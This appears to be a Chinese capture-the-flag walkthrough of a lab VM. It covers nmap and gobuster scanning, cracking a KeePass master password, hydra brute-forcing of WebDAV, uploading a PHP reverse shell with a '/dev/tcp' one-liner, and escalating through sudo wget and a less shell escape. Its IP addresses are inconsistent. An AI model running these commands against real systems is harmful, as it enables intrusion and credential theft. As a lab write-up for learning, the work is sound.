知非
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!
信息收集阶段
靶机:192.168.1.128
Kali攻击机:未知
目标:user权限和root权限
nmap -A -p- 192.168.1.51
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.51/ -x php,html,txt
漏洞利用阶段
接入资源的鉴别信息的数据库是在secrets文件夹下!
唯一的密码管理器我知道在数据库中存储鉴别数据信息的是keepass,他的扩展名是kdbx。因此,我们遍历/secrets文件夹用这个扩展名。
KeePass 是一款免费的开源密码管理器,KeePass 将密码存储为一个数据库,而这个数据库由一个主密码或密码文件锁住,也就是说我们只需要记住一个主密码,或使用一个密码文件,就可以解开这个数据库,就可以获得其他的密码内容。
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.51/secrets/ -x kdbx
幸运的是:我发现db.kdbx文件可能有密码。现在,为了打开文件,我们能安装一款keepass2的程序在kalilinux中。然而,我们能打开这个在网站https://keeweb.info/。但是在此之前,我们应该知道这些服务有一个主密码去存储密码,我们必须首先破解需要打开这个文件的密码。
这里需要一个软件:keepass2john去破解keepass的主密码!
这里需要用到一个字典rockyou.txt,据说是kali2020自带的字典,140M左右,1400W条密码。
就是他!!!
最后我们打开这个文件:
这里需要先在网站下一个软件,安装后打开文件,输入密码:
密码是:w3bd4vXXX
前面nmap时扫描出一个webdav:
用户名:admin
密码:w3bd4vXXX
但是这里XXX,需要修改为雇员号!
这里需要写一个简单的python程序去写出密码字典:
for i in range(1000):
print(f’w3bd4v{i:03}’)
生成密码文件:
使用九头蛇进行破解:
hydra -l admin -P pass.txt http-get://192.168.1.51/webdav/
用户名:admin
密码:w3bd4v513
生成反弹shell脚本:
由于这是WEBDAV,我们能上传一个PHPshell和获取反弹shell,我复制了一个pentestmonkey的shell从https://revshells.com ,把它放到当前目录作为shell.php。同时,我修改了资源的IP地址和监听端口为9001。但是,首先,我需要使用curl先把shell.php上传上去。
脚本内容:
sh -i >& /dev/tcp/192.168.1.51/4444 0>&1
然后,我们把这个脚本上传上去!!!
curl -T shell.php http://192.168.1.51/webdav/ --digest -u admin:w3bd4v513
监听4444端口:
访问shell.php
不行,看来需要携带用户名和密码进行访问!
curl http://192.168.1.51/webdav/shell.php --digest -u admin:w3bd4v513
还是不行,看到反弹语句,我理解的有问题!
接着我把shell.php中的内容修改为php的反弹shell!
重新上传,试一下!
脚本内容:
https://github.com/pentestmonkey/php-reverse-shell
mv php-reverse-shell.php php_shell.php
curl -T php_shell.php http://192.168.1.51/webdav/ --digest -u admin:w3bd4v513
curl http://192.168.1.51/webdav/php_shell.php --digest -u admin:w3bd4v513
已经成功反弹shell!
权限提升阶段
这里我们要切换到root权限和teo权限:
从这起,这步非常简单。基于检查当前用户www-data的sudo执行权限,我们发现它能以teo账户执行wget命令。
因此,我们把我们的公钥拷贝到teo用户的.ssh文件夹的authorized_keys。
在我们kali主机上,我们执行以下操作:
ssh-keygen -t rsa
回车
回车
回车
cp ~/.ssh/id_rsa.pub .
python3 -m http.server
在目标主机上,我们按以下方式拷贝文件:(把kali主机上的公钥拷贝到teo公钥目标下)
sudo -u teo wget http://192.168.1.128:8000/id_rsa.pub -O /home/teo/.ssh/authorized_keys
在kali主机执行:
ssh teo@192.168.1.51
flag字段:ZHgKGi**************3eIkLs6
接下来,需要将权限提升到root!
现在为了获取root权限,我又一次检查了sudo可访问范围。
sudo -l
这个二进制程序是在sudo可访问范围。
查看文件的类型:
这个二进制程序是一个二进行RUBY脚本,我们把看一下它的内容!
It looked like it uses bropages which I found out to be similar to the man pages. This means that it uses “less” utility if the content overflows. As we know that, the utility can allow command execution(命令执行). Furthermore, the ruby script has its own website. http://bropages.org/. The binary was safe, so I opened it.
In the end, we see a colon sign. This indicated the possibility of “less” utility. Thus, I opened bash by typing “!bash”.
在最后,我们看一下冒号符号,这意味着less utility的可能。因为我们打开bash通过输入!bash
最后的flag:
Root flag:vWiU********************clyPZ4lyi
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
